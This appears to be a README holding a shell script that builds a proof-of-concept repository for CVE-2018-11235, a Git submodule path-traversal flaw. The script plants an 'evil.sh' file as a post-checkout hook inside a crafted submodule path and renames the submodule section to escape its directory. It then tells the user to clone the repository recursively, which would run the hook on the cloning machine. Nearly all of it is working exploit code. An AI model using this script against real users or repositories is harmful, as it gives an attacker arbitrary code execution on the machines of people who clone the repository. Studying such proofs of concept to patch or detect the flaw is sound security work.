README.md
Rendering markdown...
#!/bin/sh
set -e
repo_dir="$PWD/repo"
repo_submodule='https://github.com/octocat/Spoon-Knife'
git init "$repo_dir"
cd "$repo_dir"
git submodule add "$repo_submodule" evil
mkdir -p modules/1/2/3/4
cp -r .git/modules/evil modules/1/2/3/4
cd modules
ln -s 1/2/3/4/evil evil
cd ..
cp ../evil.sh modules/evil/hooks/post-checkout
git config -f .gitmodules submodule.evil.update checkout
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil
git add modules
git submodule add "$repo_submodule"
git add Spoon-Knife
git commit -am CVE-2018-11235
echo "All done, now \`git clone --recurse-submodules \"$repo_dir\" dest_dir\`"